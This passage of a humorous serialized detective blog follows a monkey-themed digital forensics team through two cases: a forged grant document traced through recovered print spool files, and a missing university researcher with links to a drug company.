“First copy is running. Dogson over there is going to do the second image while I piece this laptop back together and return it to it’s home upstairs.” Scrap said, pointing to Brian.

“Excellent. How much longer is Louis going to be in that finance meeting?” I asked with a concerned look spreading across my face.

Scrap glanced at his watch. “A little less than an hour. We’ll make it. Don’t sweat it.”

Brian leaned back in his chair and grinned at me.

“What?” I asked.

“I knocked another item off of your list. Well, actually it was two items and a bit of a surprise. Take a look.” Brian said as he handed me a small stack of papers.

The first paper was a printout of a spreadsheet of workstation and laptop configurations. A single column on the spreadsheet identified the default (and sometimes the only) printer installed. The rest of the papers were in rather poor condition and looked like they had been stuffed in a college dorm couch.

“Interesting.” I said as I examined the papers closely. All of the papers had a similar ’low toner’ stain on them.

“These came from the destruction bin located near the same printer where Louis found the grant letter?” I asked.

“Well, that’s where the surprise comes in. I didn’t actually recover those documents… Scrap did.” Brian said.

“Huh?” I blurted out. “Scrap, where did you find these things?”

Scrap removed a few file folders from his messenger bag that were held together by a large binder clip.

“They were laying on top of these in Louis’ office when I recovered the laptop.”

I unbound the folders and opened the cover of the first folder. I immediately looked up at Scrap, then at Brian.

“Scrap, are these what I think they are?” I asked.

“Yes.”

57732-060809-494454-28

Source: archived original

Part XI · Aug 29, 2006

Sorry for taking a few days off from the blog. I’ve been as busy as an office chair supplier around Steve Ballmer. (Don’t get the joke? Read here. Here is the severely late update to our latest case file. Enjoy! ~ Chief

The mystery was a large, ugly tapestry hanging in the men’s room at your local dive bar. It smelled funny, it contained images and colors that didn’t quite make sense, and was covered with a thin coating of dust and the occasional urine stain. It had one wild thread that wasn’t noticeable at first, but when pulled with a minimal amount of effort, caused the entire tapestry to unravel before your eyes.

I secluded myself in Brian’s office with my Apple Powerbook and wrote pages and pages of documentation based on my notes in my notepad.

“Chief.” Brian uttered as he stood in the doorway. “Louis’ laptop image is ready.”

I closed the lid of my Powerbook gently and rubbed my eyes. “Let’s do this.”

Brian led the way into the lab and I placed my monkey butt on the closest lab chair.

Speed was of the essence. With my notes fresh in my mind, I had many questions that needed answered. Roscoe was warmed up and had Louis’ drive image nestled in the folder c:\evidence\buhlchet\images\louis.e01.

I started Encase and FTK and created case files for Louis. After adding the image as an evidence source, I was ready to go.

Minutes ticked away like seconds, and hours blew by as minutes. Brian had brought a coffee pot into the lab and was grinding beans as fast as his chimp fingers could press the button. Scrap was… well, Scrap was asleep on the floor.

There were a lot of artifacts on this laptop drive, and some appeared to be far more interesting than others.

A few keyword searches for the company executive officers’ names revealed a small quantity of hotmail E-mails between Louis, Fred and Charles.

** From: Louis (louisnothereman@hotmail.com) To: Charles (stuffedsuitcharles@yahoo.com) Cc: Fred (stuffedsuitfred@yahoo.com) Date: xx/xx/xxxx Subj: re:Continued discussions

No, I think the offer will get serious consideration. Johnson & company will be gone and we can get back down to business. We have to move the company forward no matter what. And yes, I’m sure it’ll work. L

“Jeezus.” I said under my breath as I bookmarked the snippet and moved on to some other artifacts.

Brian was taking a serious interest in my activities and appeared to be quite wired on the coffee he had spent the past hour brewing.

“What are you looking for now?” Brian queried.

I initiated a few custom searches and peered over at Brian. “I’m looking for smoke.”

Brian rubbed his caffeinated eyes. “Smoke?”

“Yep.” I replied. “The smoke from the gun. And would you look at that…”

“What?” Brian asked.

“I’m looking for spool files. They exist as SHD and SPL file types. Both are created when a print job is initiated in Windows 2000. The files are typically cleaned up by the system, and as luck would have it I couldn’t find a single one. However, our tools have found several that were deleted, and some that are in slack space.” I said as I scrolled through the files.

“Two files types? I don’t understand.” Brian muttered.

“The SHD and SPL files have the same filename, just different extensions. The SHD file tells what print format was used when the SPL was created.” I responded.

“Oh! Wait! I get it. That’s how Windows knows what format to print in, right? EMF or RAW? I have printer spooler errors on some of the older gear here and I have to make manual adjustments to get them to print.” Brian said proudly.

“Exactly. We’ve found a few SPL files that look complete, but unfortunately the SHD file appears to be missing.” I said. “But, looking through the file… right here… we see EMF. Let’s see if Roscoe can display some of these.”

I minimized my tools and started my handy copy of splviewer. I spent a good deal of time recovering every SPL file I could find and viewing them with the viewer.

I stared at several files and didn’t move a muscle.

“Uh, Brian?” I said, not taking my eyes from the screen.

“Yo.” Brian responded

“I’m going to pop this file on a floppy and I want you to print it.” I demanded.

“No problem man.” Brian said as he quickly logged into a networked workstation in the corner of the room. I copied the carved SPL file onto a floppy and handed it to Brian.

“Here we go!” Brian said as he opened a command prompt and typed:

copy evidence.spl \pserver\labprint

A few moments later, the printer in the lab started to warm up and then proceeded to print out a document.

I picked up the warm piece of paper, the smell of fresh toner still lingering in the air.

“Well, what is it?” Brian asked.

“It’s a whole lot of smoke.”

60262-060829-519753-30

Source: archived original

Conclusion · Sep 7, 2006

“I want to cry.” Reese said as she held her hands over her mouth. “I should have expected to hear this I suppose. I am so naive sometimes.”

Reese, Inez, Scrap and I were seated in a finance conference room the following morning. Inez and I were presenting our findings to a very emotional CMO.

“Chief, explain this to me one more time. Explain it to me like I’m Scrap on a nicotine bender.” Reese joked. Even in a crisis, Reese was able to hold it together to make a joke.

I flipped back to the first page of my notepad and glanced at Inez, hinting to her that she should do the same.

“My team and I have performed exhaustive reviews of financial and personnel records, thorough electronic analysis of computing resources, and did not find any evidence that the executive team has done anything wrong as accused, nor have we found evidence of any plans to do the same.” I said as I turned my attention to Inez.

Inez called everyone’s attention to the printed report that she had carefully passed out minutes before.

“The documentation that we were able to find was incomplete in some areas, and very inconsistent. The document that Louis found on the printer did not match any documents on file, or any documents in company safe deposit boxes, or any documents found on the executive team’s laptops. All of the agreements appeared to be legally sound and consistent with compensation agreements approved by the board of directors.” Inez said.

Reese shuffled in her seat and struggled to take more notes with a pen that appeared to be running out of ink.

“So where did this mysterious printout come from that Louis showed me, Fred and Charles? I’m still not clear on this.” Reese said, holding her face with one hand and scribbling with the other.

“This is where it’s going to get confusing.” I lamented. “There were only two people who had computers that were configured to print to the printer that the mysterious printout was found on. One was Louis, the other was a ‘Lance Legstrong’ who has been on FMLA (Family Medical Leave Act) for over a month.”

“But couldn’t someone have printed it on another printer and just left it on that one?” Reese asked.

“Great question.” Scrap interjected. “We thought of that. The printout that Louis found had a distinguishing toner mark on the page. We printed sample pages to every laser printer in the company, and none exhibited the same distinguishing toner mark. There’s a high probability that the document was printed on that printer.”

“We further concluded that the document that Louis found was a clever forgery. The font used on the document was very close to the font used in the original documents, but it wasn’t exact.” Inez explained.

Scrap cleared his throat. “The reason that the fonts were different was because the laptop used to print the document was missing the company standard font. Microsoft Word substituted another font that was pretty close.”

“The laptop. Run the laptop examination by me again?” Reese pleaded.

“We examined all of the laptops that were used by the executives. There was no conclusive evidence that any of the executives had viewed, modified or printed the document in the past month or so.” Scrap replied. “And then we looked at Louis’ laptop.”

Reese took a deep breath.

“Reese, I personally examined Louis’ laptop. His laptop was set to print to the printer that he found the printout on. His laptop is missing the company standard font for whatever reason. I recovered print spooler files of several printouts of modified grant documents that all had the wrong font used.” I said. “However, Scrap made an important find in Louis’ office that I’m not sure you caught the first time we explained this to you.”

“The documents? What were they again?” Reese asked as she slowly blinked her eyes.

“Louis had file folders on his desk that contained the original grant letters that he supposedly couldn’t find before. He also had almost ten ’test’ printouts of the modified grant letters. All had the toner mark and the incorrect font.” Scrap replied.

“And the E-mails?” Reese asked.

I flipped through the documentation that we provided Reese. Several of the pages were transcribed E-mails that were recovered from Louis’ laptop.

“As you can see from the documentation in front of you, Louis has been communicating with Charles and Fred for a long time regarding this issue using personal E-mail accounts. In these E-mails, you’ll see that they conspired find a way to discredit the executive team in the hopes of their removal from the company.” I said.

“My God. The buyout? The DMA buyout? I was told of this shortly after I started working here. This whole thing is a bunch of angry boys throwing spit wads?” Reese said as she angrily shook her head.

“These are some pretty big spit wads.” I commented.

“Si. Reese, these allegations are serious. There are severe penalties for the company and those involved with any type of stock irregularities. If I had to make a suggestion to you right now, I would recommend that you go upstairs and inform your general counsel immediately.” Inez said as she closed her notebook.

“You realize I’m going to need you to give this presentation a few more times? Like maybe in thirty minutes?” Reese said as she searched through her purse for a tissue and wiped her eyes.

“We’re on your dime, big spender.” I joked in an attempt to get a laugh from an obviously upset Reese as she headed towards the door of the conference room.

“I’ll call you in a few moments. I appreciate all the work that you all have put into this.” Reese said in a faint voice as she closed the door.

“What a mess.” Inez said as she took a drink from her water bottle. “How do you guys do this all the time? I’d be an emotional mess!”

“It’s hard at first, but after a while you just get used to it.” Scrap joked.

“Exactly. Sort of like flying.” I said.

“Speak for yourself, gringo!” Inez exclaimed.

[Chief’s Log] My team presented our findings approximately five times over the course of a month. Louis was terminated and personally escorted out of the building by the vice president of human resources. Our findings were presented to the Buhlchet board of directors (minus Charles and Fred), and both perpetrators were summarily removed of their responsibilities. Charles and Fred have filed several lawsuits against Buhlchet, and Buhlchet has returned the favor by counter-suing.

This case was as challenging as trying to get a monkey to clean your bathroom!

74190-060907-991326-78

Source: archived original

22. Case of the Heaping Haystack

Tue, 12 Sep 2006 00:00:00 +0000

Part I · Sep 12, 2006

“We’re not dating, dude.” I said as I shuffled uncomfortably in my plane seat and stared out the tiny window to my right.

We were on a full flight back home, a mere two days after wrapping up our work at Buhlchet and closing The Case Of The Teetering Timeframe. Our flight was preparing to taxi out to the runway, and I was dodging questions from my unyielding apprentice.

Scrap punched me in the arm and laughed.

“Uh huh. That sure was a long hug goodbye she gave you at the airport.”

I shook my head and glared back at Scrap, letting him know that he was way off base.

“Scrap, Inez and I have known each other for a long time. We don’t work that often together. I said nothing to make her think that our relationship is anything more than a professional one.”

“Whatever you say, boss.” Scrap said as he popped his iPod earbuds into his ears.

“She is pretty damn cute though, and she was totally checking me out. Maybe I need to give her a call.”

“SCRAP!” I said as I whacked him in the face with a barf bag which was unfortunately empty.

Scrap enjoys torturing me on every level.

“Ladies and gentleman, this is the Captain. There seems to be a backup on the runway. We might be sitting here for a bit. Please remain seated with your seat belts on, and we thank you for your patience.” came the mysterious voice overhead.

“That’s just great.” I mumbled to myself. We were due back in town for a potential gig that my good friend Hugo the P.I. had set us up with. This was a ‘fat cow’ gig, meaning that the client had a fat wallet and believed in liberally applying cash to the right people to get problems solved.

“I guess I should call Hugo and check in. We don’t want to anger the fat cow!” I said to Scrap as I turned my trusty Treo back on. Scrap was jamming to what sounded like Iron Maiden and was completely oblivious to my words.

“Hugo? It’s Chief! We’re sitting on a runway and I’m going to guess that we’re going to arrive home a bit late. Can you move our introductory meeting with the fat cow back an hour or so?” I begged.

“I’ll do my best. After the referral speech I gave them about you, I’m pretty sure they’d wait a few days to get you on this case.” Hugo said with a laugh. “You want the details?”

“Well, it’s either get the details from you now, or watch Scrap play some air guitar next to me. Lay it on me.” I said.

Hugo cleared his throat and sucked some water out of a very noisy water bottle.

“Here’s the deal. This thing is hush-hush and highly sensitive, so remind Scrap not to talk about this with whatever girl he’s with this week.” Hugo said.

“Got it covered. Who’s the client?” I asked.

“A school.” Hugo replied.

“Gee, that narrows it down big guy. Maybe you could be a bit more specific.” I joked.

“Your Alma Mater.”

59170-060912-976311-76

Source: archived original

Part II · Sep 14, 2006

“Ladies and gentlemen, this is the captain. Welcome to your destination, and thanks for flying Jungle Airlines.” came a crackled voice over the plane’s intercom system.

We had landed a mere minute ago and I was wiping an hour or so of sleep from my eyes. It was at that moment that something felt very wrong.

“Dude! DUDE!” I said as I pushed Scrap’s head away from my shoulder. “You drooled on me!”

“She said she wasn’t married! She said she wasn’t… huh?” Scrap blurted out as he woke up. “Why are you yelling at me?”

“Forget it. Grab your stuff, we need to make a beeline for the parking garage to get to our appointment on time.” I said as I contemplated telling the gentleman in front of me about a recent scientific hygiene discovery called deodorant.

“What’s the gig? Did Hugo call you?” Scrap asked.

“Affirmative. The gig is over at Jungle University in the medical sciences department.” I responded in between trying to hold my breath and not letting my eyes water from the body aroma of Mr. Stinky.

“Jungle U! Woot! I haven’t been back on campus in years. So what’s the case? Lots of illegally downloaded music? Booby-trapped servers?” Scrap said referencing The Case Of The Stealthy Spike.

“Hugo didn’t have all the details, but from what he told me this is going to be one technically challenging case.” I replied.

“Thank goodness. Yummy network monitoring? Freaky forensics?” Scrap asked melodically.

I shuffled my way to the exit door of the airplane and picked up the pace as I climbed the boarding ramp.

“It sounds like it could be a little bit of everything. The case is surrounding the termination of a prominent professor named John Dunnit. Dunnit was performing some research on a drug of some sort and had great successes for the university. The school was in negotiations with a pharmaceutical company on possibly licensing this experimental drug when Dunnit abruptly quit and disappeared.” I said as I noticed a Starbucks out of the corner of my eye as we passed through the airport’s food court.

“Uh, Chief? We don’t do missing persons man. That’s Hugo’s specialty. Where’s the technology come into this?” Scrap asked as we both rolled our travel luggage up to the ordering counter at Starbucks.

“Venti coffee, stat!” I exclaimed to the attractive young girl wearing the holy green apron.

“Two! TWO!” Scrap chimed in.

“Scrap, you are going to love this. Two days after they determine that Dunnit isn’t coming back, guess what they find out?” I queried.

“He didn’t wash his hands after using the lab’s bathroom?” Scrap replied sarcastically.

I sighed.

“Dunnit’s research materials disappeared with him. The school had recently implemented a storage area network, but hadn’t quite come up with a backup strategy. They can’t seem to find anything.” I explained.

“Woah. So we have a missing dude who’s known for not washing his hands and some missing lab work. Sweet. So I’m still missing where we come in?” Scrap asked with a loud slurp of his coffee.

“The school purchased a SAN solution called ‘Haystack’. After they noticed that the research was missing, they immediately locked it down and haven’t allowed anyone access to it. They believe that the data is recoverable.” I said.

“We’re going on another goose chase, aren’t we boss?” Scrap lamented.

“More like looking for a needle.”

5080-060914-922218-710

Source: archived original

Part III · Sep 19, 2006

“Scrap, what the hell are you doing?” I asked as I spied Scrap on his hands and knees performing a strange worship ritual.

Scrap peered up at me from his prayer position. “Chief, that is the biggest storage array I’ve ever seen. Bow down and worship the bytes!”

I rolled my eyes. We were standing (well, I was standing) in a glass-encased hallway that wrapped around Jungle University’s datacenter in their medical sciences building. It was a glorious site. Rows and rows of perfectly racked storage array shelves blinked their LEDs in what could only be described as computing harmony.

“Like what you see?” came a voice from my left side. Dr. Rheinhold Kiltlifter, the department chairman, had escorted us from his office to gaze upon their technological trophy room.

“It’s amazing.” I said through the huge smile that had crept across my envious face. “I don’t really want to know what that much storage cost you, but I won’t mind if you tell me.”

Dr. Kiltlifter laughed. “Let’s just say that we could have almost built another building for what all the technology in that room cost us.”

“Holy crap! Are those penguins I see?” Scrap exclaimed as he walked towards the entry door.

“Yes. The servers that you’re looking at in that row are all Linux machines running Gentoo Linux.” the good doctor replied as he badged us into the datacenter. “We do a lot of simulation work, and these machines are typically busy all of the time.”

“Great gods of bogomips!” Scrap said as he approached the first rack of Linux goodness. “These are fricking awesome! Xeon processors?”

“All of them are Xeons. All are maxed out configurations and netboot from a master machine located over on the other end of this row.” Dr. Kiltlifter said as he escorted us around the room. “I wanted you to have an idea of what we’re dealing with in this case, and validate why we took a friend’s advice and brought you in to help us with our little ‘problem’.”

“We need to find more of these kind of problems.” Scrap whispered in my ear.

We exited the datacenter through a second door and walked down the other side of the building towards the research laboratories. Within a few minutes we were badged into what appeared to be an unused laboratory with medical analyzer equipment that I’d never seen before.

“This is, errr was, Dunnit’s lab. Towards the rear of the room is Dunnit’s workstation and file cabinets full of whatever paper records remained.” said Kiltlifter. “We locked this room down shortly after Dunnit walked out, so it’s pretty much in the condition that he left it.”

“Excellent. Now that we’ve had the formal tour of the facilities, I guess we need to get into additional details. Hugo mentioned that Dunnit was working on a drug that the university was looking to license to a pharmaceutical company.” I said after a quick glance at my notepad.

“Correct. I’m going to remind you that everything we’re talking about is extremely confidential and protected under the non-disclosure agreements you both signed.” Dr. Kiltlifter said after glancing at us both for nods of comprehension.

“Dr. Dunnit was a one man research machine, and very secretive. We put up with his introvert behavior because, quite simply, his results were sensational. The drug that he was working on was code-named ‘b00b7’, and it was designed to specifically target breast cancer cells. You can imagine what kind of market that type of drug would have.” Dr. Kiltlifter said as he picked up a file folder from Dunnit’s desk. “I won’t bore you with the medical mumbo-jumbo, but let’s just say that he was sitting on a gold mine for the university.”

“That is mind blowing.” I responded. “I know that Hugo is in the process of finding Dunnit using his unique methods, and he has shared a few bits about your suspicions. Can you elaborate on those?”

“Dunnit worked very late one night, which wasn’t unusual. He practically lived here. The next day he failed to show up at the lab. We figured that he was burnt out and taking a much-needed day off. When he failed to answer E-mails, phone calls, and show up for work a few days later we became worried. He lived by himself in a rented house not too far from here. I drove over to his house myself, and found the place completely empty. His landlord told me that Dunnit left no forwarding address. I immediately called a few other staff members and we locked down the lab just to be safe. I went through Dunnit’s personnel file and there were no contacts listed.” Kiltlifter lamented. “I have to admit that the first thing I thought of was that perhaps Dunnit had just finally lost it and left town to live in a shanty in somewhere. He was weird like that. The second thought that crossed my mind was that he grabbed all of his proprietary research and left the country to work with a foreign pharmaceutical company.”

“May I ask why that thought crossed your mind? I mean, working for a pharmaceutical company?” I asked as I turned to a fresh page in my note pad.

Dr. Kiltlifter reached into the folder that he had taken from Dunnit’s desk and removed a white envelope. “This is why.”

I carefully examined the envelope and noticed that there was no return address. Dr. Dunnit’s name and home address were handwritten on the front of the envelope. The envelope was stamped, and the post office cancel mark was from a city a few states away. I removed a single piece of folded white letter-sized paper from the envelope and opened it to reveal a piece of correspondence.

It was an offer of employment letter.

21874-060919-135872-92

Source: archived original

Part IV · Sep 27, 2006

“There are a lot of things that are consistent in life, my friend.” I said as I adjusted myself into a patio chair at Jungle University’s Starbucks. Scrap and I had voted to retreat to neutral territory to strategize.

“Yeah, like what? Hot women on university campuses…” Scrap said as his head turned in a turret-like fashion to watch a few students walk by.

“Uh, no. I mean human behavior and the probability that our next case is always going to be more interesting and challenging than the last.” I retorted.

“Yeah, that’s great boss.” Scrap responded with the back of his head facing me.

“Scrap. SCRAP!” I yelled. “We need to discuss our plan of action. Pay attention, or we’re moving inside!”

“Right. Sorry. Okay, I took an inventory of the electronic assets that we’ll be interested in. I vote that we first do a standard forensic grab of the good doctor’s workstation. This would give us some clues as to where his most important data was stashed. Secondly, we’ll want to tap the sweet goodness of that SAN. The LUNs, Chief! THE LUNS!” Scrap said with a wide-eyed grin on his face.

“Good ideas. We’re also going to want to dig through those filing cabinets and eyeball the work area. Remember, it’s always the stuff in plain sight that gets overlooked.” I replied.

“But I really want to check out that SAN!” Scrap cried.

I rolled my eyes.

Moments later, we badged our way back into the medical sciences building and proceeded to Dunnit’s work area.

“Alright. Scrap, you grab Roscoe and do your magic on the workstation. It’s powered off, just the way you like it.” I said as I threw him a pair of latex gloves. “Watch the work area. I’m going to sift through these file cabinets.”

“Roger that.” Scrap said he snapped the gloves onto his paws with medical-like prowess.

RING

“That had better be Kiltlifter telling us that lunch is on him.” Scrap joked as he carefully snapped photographs of Dunnit’s work area.

“Chief.”

“Hay-o, amigo!” came the voice from the receiver. It was Hugo!

“Hey stranger. We’re at the lab getting busy with some forensics 101. How goes the hunt?” I asked.

“Not bad at all. I just had a nice long talk with Dunnit’s sister, and I’m headed out to Research Park in Big City.” Hugo replied.

I paused for a moment.

“Sister? Kiltlifter didn’t sound too positive on us locating anyone that knew Dunnit real well.” I thought out loud. “How the hell did you find his sister?”

Hugo chuckled.

“Dude, I’m a private investigator. This is what I DO. Dunnit apparently visited his sister a few days ago and didn’t give any impression that he had walked off his job, or that he was headed any place in particular.” Hugo said over his bad cell phone connection.

“Uh, so how do you know he’s headed towards Research Park? That’s far away from here, at least 500 miles or so.” I stated.

“Try 700 miles. Dunnit has been talking to Amalgamar Research Laboratories, and I have reason to believe that he’s going to meet someone there tomorrow.” Hugo said. “I have a great gut feeling on this.”

I paused again. I wasn’t sure if I was just confused, not paying attention, or in awe of Hugo’s investigative abilities.

“I’m missing something, man. Fill in the blanks.” I requested.

“Well, it was easy to track down his sister since he called her frequently. She was the most called number on his cell phone. Amalgamar was the second most called number.” Hugo stated.

“Cell phone? You have his cell phone bill? How the hell did you get his cell phone bill?” I asked.

There was a long pause on the phone.

“Wait.” I said. “You pre-texted his cell phone carrier?” I asked in horror. “Hugo, that is illegal as hell.”

“I can not confirm nor deny anything you just said.” Hugo said with a laugh. “Look, I have to go. My signal is dying. I’ll call you again shortly. Let me know if you glean anything exciting from the electronic stuff.”

“Will do.” I said as I hung up. I didn’t approve of the practice of pre-texting at all. Pre-texting involved calling a cell phone carrier and pretending to be the customer. After passing through rudimentary security screening questions, one was able to make changes to the cell phone service or, as Hugo had apparently done, gain access to billing records.

“Did I hear the words ‘pre-texting’ from your mouth?” Scrap asked, narrowly missing bumping his head on the underside of Dunnit’s desk.

“Yeah, something like that.” I replied as I carefully placed my Treo back into its carrying case located conveniently on my belt.

“OW!” Scrap cried from under Dunnit’s desk.

“Watch your head.” I said with a chuckle as I returned to sifting through the filing cabinets.

“It’s not my head man. I just got jabbed in the knee with this.” Scrap said holding up a tiny piece of plastic. I turned my gaze to Scrap’s hand. “Marker cap?”

Scrap tossed the object towards me, and I caught it with a gloved paw.

“Nope. USB drive.”

21648-060926-133614-92

Source: archived original

Part V · Oct 2, 2006

Seven hundred miles away, Hugo was pushing his rental car to the limits. After some brilliant (but highly illegal) intelligence gathering, he was eager to position himself outside of Amalgamar headquarters in the hopes of catching a glimpse of Dunnit.

“What is going through your head, Dr. Dunnit?” Hugo pondered as he made his last highway transition with a smooth right turn.

_“Why did you just leave a research position and take all of your data with you?

… why haven’t you talked to anyone?

… why are you going to Amalgamar?

… what is your motive? Money? Fame? Better cafeteria food? What?” _

It was maddening. Hugo had worked the private investigator scene for over twenty years. He had seen everything from wives cheating on their husbands with circus midgets to wealthy retirees killing each other off to increase their retirement funds. However, in each of his previous assignments, the motive had been pretty clear.

Not this time.

Hugo glanced at his watch with tired eyes. With any luck, he had arrived in time to book a room at a nearby motel and catch some sleep before his Amalgamar reconnaissance mission tomorrow.

RING

“I really hope that’s not the wife again.” Hugo thought as he glanced down at his phone. It was Chief!

“Hey monkey boy.” Hugo said. “I’m in Big City and looking for a cheap pair of pillows and sheets to press for a few hours. You must have some news, because you never call me otherwise.”

I laughed on the other end of the phone. Hugo knew me all too well.

“You’re going to love this man.” I said with excitement. “Scrap was pawing around under Dunnit’s desk and found a USB pen drive with his knee.”

Hugo grimaced. “Did it survive?”

“Yes.” I replied.

“As a matter of fact, it’s completely readable. Scrap manually imaged it with his linux laptop and ‘dd’ cleverness. Dunnit must have been one paranoid guy, because he stored everything from his address book to zebra wallpapers on this thing. A few of the files are PGP-encrypted, but we’ve got Roscoe taking a shot at those with some dictionary pass phrase attacks.” I said, remembering that I had used a similar method in The Case Of The Hushed Haxor.

“No kidding.” Hugo said as most of the techno-drabble sailed clear over his head. “What’s the punch line?”

“Well, I was going to compliment you on your fine detective work. According to an excel spreadsheet that we just cleared of a password, Dunnit was definitely involved with Amalgamar at some point.” I said.

“How involved are we talking, and am I in the right place?” Hugo queried in a tired voice.

“I’d say that you’re right on target. The spreadsheet was a comma-seperated file dump of his checking account at NorthEastern Bank from a few weeks ago, and you’ll never guess who was dumping several thousands of dollars into Dunnit’s account?” I asked.

Hugo knew the answer before I had finished my statement.

Amalgamar.

86975-061002-786888-57

Source: archived original

Part VI · Oct 10, 2006

“Done.” Scrap announced after glancing at the Encase prompt on Roscoe. “I’m pretty impressed with Roscoe. He’s banging away on those PGP files and still managed to acquire that drive image in an acceptable amount of time.”

“No kidding?” I asked as I wandered over to Roscoe and shoved Scrap out of the way. Sure enough, the image had completed and I was getting anxious to explore it.

“Excuse you!” Scrap whined as he gave up his comfy office chair.

I started a new case in FTK and added the freshly acquired image as evidence.

“Coffee. Now.” I said in a monotone voice as I pointed at the door.

Hundreds of miles away and several hours later, Hugo awoke from a poor excuse for a slumber. He was more exhausted than when he collapsed on the hotel bed.

“Time to get my game face on.” Hugo said as he rubbed the sleep from his eyes. A quick glance at the alarm clock with the missing LEDs teased him with it being six o’clock in the morning.

After a quick shower and a changed shirt, Hugo glanced at his watch with disgust.

“Cripes. It’s eight o’clock!” Hugo yelled as he made a quick dash for the motel door and cursed the broken alarm clock.

Hugo pushed his car to the limit in an attempt to navigate towards Amalgamar’s headquarters building located in the busy center of Big City. He had a surveillance spot all picked out in a parking lot across the street that faced the front door of the facility.

Traffic was heavy, yet Hugo maneuvered his car around several major delays and parked in the lot with a clear view of the front entrance to Amalgamar.

“Coming or going, I’m going to see you Mr. Dunnit.” Hugo said to himself as he took a few swigs out of a warm water bottle, his eyes firmly locked on his target.

“Man, this guy is boring as hell.” I thought to myself as I started my second day of evidence examination. The image of Dunnit’s workstation contained thousands of files, and any one of them could prove to be a significant digital artifact.

“Sorry I took so long.” Scrap said apologetically. “The line at the ‘bucks was wrapped around the food court. These kids want their caffeine.”

I grabbed a piping hot venti coffee from Scrap and took a moment to rest my eyes and reset my brain bus.

“Anything?” Scrap asked as sucked a layer of whipped topping from his white chocolate mocha.

“Well, it depends on what you call ‘anything’. This guy is a straight-shooter science geek all the way around. I’ve never seen so many academic papers, letters and research materials on one workstation. What the hell was he storing on the SAN?” I asked.

“I think it’s cool that they use linux on their servers and their workstations.” Scrap commented. “None of that winders crap.”

I laughed. Scrap was pretty biased about everything in life, the obvious exception being women.

Half of my Starbucks was down the hatch, and I returned to my examination. I pointed Scrap and his ‘magic knee’ to the filing cabinets behind us.

Somebody had to do it.

“I’ve officially heard this song three times now.” Hugo lamented as he changed the radio station again. He liked Elvis, but too much ‘blue suede shoes’ in the morning was making him cranky.

Hugo looked up from his radio for a second and glanced at the front door of Amalgamar. Two gentlemen were exiting the front doors with several other business suits. He blindly reached for his binoculars, knocking his water bottle off of his center console and making a miniature pool in his drink holders.

“Damn.” Hugo swore as he brought the binoculars to his eyes. The first gentleman was well dressed and smiled as he shook the other gentleman’s hand.

“Move. MOVE!” Hugo begged as he adjusted the magnification on his binoculars. GQ boy was blocking Hugo’s view of the second man.

Exercising the patience developed over years as a private investigator, Hugo waited several minutes for his window of opportunity to appear.

“Yes!” Hugo said quietly as the first gentlemen stepped away to re-enter the building. Hugo focused his gaze on the second gentleman’s profile.

It was Dunnit.

59628-061009-513420-30

Source: archived original

Part VII · Oct 19, 2006

“Everybody say ‘HEY HO!’” I said accompanied by my own made up beat box sound effect.

Scrap laughed. “Hey ho, you’re such a white boy.”

Scrap always knew how to pee on my parade.

I sat back in my chair and pointed Scrap’s attention at my blinking cursor.

“Check out this little ditty.”

Scrap placed the pile of paper he was clutching in his paws on a corner of Dunnit’s desk and wandered over to gaze upon my discovery.

“Holy crap. HEY HO!” Scrap responded as he moved the cursor to scroll down the artifact represented on the screen.

** To: dunnitright@someplace.edu From: richter@bigpharmacycompany.com Su: Result set 16679

Yes, we are very pleased. This combined with the projects alpha and beta is truly some incredible work. We look forward to the next result set in project charlie, and I have arranged for appropriate compensation for alpha and beta. Please keep me abreast of the situation.

D. Richter **

“Hold on to your date book, Scrappy-san. Read the next one.” I said as I pointed to another artifact that I had already carved out of the image using FTK.

Scrap opened the artifact and dropped his jaw appropriately.

** From: dunnitright@someplace.edu To: richter@bigpharmacycompany.com Su: Result set 16694

You are not understanding or interpreting the results correctly. The entire charlie project needs to be scrapped and the work re-done. Affective rate is nowhere near the 62% as thought. Kiltlifter does not understand this project, nor can he speak about it in an authoritative manner. **

“Trouble in paradise?” Scrap asked as he scratched his head.

“It would appear so.” I replied as I continued to dig through the workstation image.

“Not again!” Hugo complained as his water bottle spilled into his lap as he removed the keys from the ignition without taking his eyes from his binoculars.

“Gotta move. Gotta move!”

Hugo exited his car and made a slow yet direct beeline towards Dunnit who appeared to be busy scrutinizing the cars driving by looking for an available taxi.

Dunnit had his back turned towards Hugo and fidgeted nervously with something in one of his pockets. As Hugo closed in on Dunnit, Dunnit removed the object from his pocket and placed it to his mouth. With a quick applied pressure of his right hand, Dunnit took a deep breath and returned the object to his pocket.

“James Dunnit?” Hugo asked as stood behind Dunnit.

Dunnit turned around quickly, his eyes as big as saucers.

“Um, you are?” Dunnit asked as he removed his inhaler from his pocket once again.

“A friend.” Hugo replied as he removed his identification from his pocket and allowed Dunnit to gaze upon his private investigator credentials. “You’re missed back at the university.”

“You don’t understand!” Dunnit said with a twitch of his shoulder. “You don’t understand!”

Dunnit backed away slowly. Hugo placed his wallet back into his pocket and raised his hands on either side of his body.

“James. Calm down. I was asked to find you. People are concerned about you just disappearing. Dr. Kiltlifter asked me to find you and provide you with a safe return to the university.”

Dunnit sat down on a nearby bus bench and shook his head violently.

“NO! NO! Kiltlifter won’t listen to me! He has no idea what he’s talking about! This has got to stop. Stop!!!”

Hugo was feeling a bit overwhelmed by his tweaking target. Was Dunnit on drugs? Crazy? Not hugged enough as a child?

“James, I can’t help you unless you talk to me. What doesn’t Kiltlifter understand?” Hugo pleaded.

Dunnit moved several pieces of folded notebook paper from his left pocket and unfolded them like a loving parent. He displayed them to Hugo using both of his shaking hands.

“This! This! You see this? This is years of my life right here. This is one of the drugs I’ve been working on, but you probably already know that if Kiltlifter hired you. I’m not going back. I’m ending this right here!” Dunnit said, blowing a bit of spittle out of his mouth with every word.

“Why? Why won’t you go back? What’s so bad about going back and talking to Kiltlifter? We’re just going to sit down and have a nice adult conversation. What’s so wrong with that?” Hugo said empathetically.

“Because Kiltlifter is intent on killing a lot of people!”

63307-061018-550209-33

Source: archived original

Part VIII · Oct 31, 2006

“I have a big zero, boss.” Scrap said as he closed the bottom drawer of the last filing cabinet. “Nothing in here but magazines, reports, blah blah.”

I straightened up in my chair and tapped my pen on the desk in front of me. I had just completed my examination of Dunnit’s workstation.

“It’s time to move on to the SAN.” I said.

“Aroo?” Scrap said excitedly as he magically appeared next to me as if he were powered by some sort of hidden warp drive.

“I hate it when you do that.” I whined as I turned my attention back to the workstation.

Scrap scratched the back of his head. “So, where was Dunnit working on the SAN? What did you find in /etc/fstab?”

I tapped on the keyboard and brought up the /etc/fstab file from the workstation.

